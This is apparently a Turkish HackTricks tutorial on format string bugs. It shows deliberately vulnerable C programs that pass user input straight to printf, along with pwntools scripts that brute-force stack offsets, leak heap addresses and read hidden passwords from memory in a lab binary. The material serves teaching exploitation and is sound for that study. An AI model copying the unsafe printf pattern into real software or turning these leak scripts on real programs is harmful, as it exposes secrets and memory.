7.1 KiB
Format Strings - Rastgele Okuma Örneği
Sıfırdan Kahramana AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na(https://github.com/sponsors/carlospolop) göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live** takip edin.**
- Hacking hilelerinizi paylaşarak PR göndererek HackTricks](https://github.com/carlospolop/hacktricks) ve HackTricks Cloud github depolarına katkıda bulunun.
İkili Okumaya Başla
Kod
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
Derleyin:
clang -o fs-read fs-read.c -Wno-format-security -no-pie
Sızma
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- Ofset 11'dir çünkü birkaç As ayarlayarak ve bir döngü ile 0'dan 50'ye kadar ofsetleri brute-force ederek, ofset 11'de ve 5 ekstra karakterle (bizim durumumuzda borular
|
) tam bir adresi kontrol etmek mümkündür. - Adresin tamamı 0x4141414141414141 olduğunda
%11$p
'yi kullandım. - Format dizesi yükü, adresin ÖNCESİNDE olmalıdır çünkü printf, bir null bayta kadar okuma yapar, bu yüzden adresi gönderir ve ardından format dizesini gönderirsek, printf, null baytı bulacağından format dizesine asla ulaşamaz.
- Seçilen adres 0x00400000'dir çünkü bu, ikili dosyanın başladığı yerdir (PIE yoktur)
Parolaları Oku
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
Derleyin:
clang -o fs-read fs-read.c -Wno-format-security
Stack'ten Okuma
stack_password
yerel bir değişken olduğundan dolayı stack'te saklanacaktır, bu yüzden sadece printf'i kötüye kullanarak stack'in içeriğini göstermek yeterli olacaktır. Bu, yığın üzerindeki şifreleri sızdırmak için ilk 100 pozisyonu sızdırmak için bir saldırıdır:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Resimde, şifrenin yığın içinde 10.
konumdan sızdırılabileceği görülebilir:
Veri Okuma
Aynı saldırıyı çalıştırarak ancak %s
yerine %p
kullanarak yığından bir yığın adresi sızdırmak mümkündür ve bu %25$p
konumunda gerçekleşir. Dahası, sızdırılan adresin (0xaaaab7030894
) o işlemde bellekteki şifrenin konumuyla karşılaştırarak adres farkını elde edebiliriz:
Şimdi yığında bir adresi kontrol etmek ve ikinci format dizesi güvenlik açığından erişmek için nasıl kontrol edileceğini bulma zamanı:
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
Ve try 14'te kullanılan geçişle bir adresi kontrol edebileceğimizi görmek mümkündür:
Sızma
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubumuza katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live'da takip edin.**
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks](https://github.com/carlospolop/hacktricks) ve HackTricks Cloud github depolarına katkıda bulunun.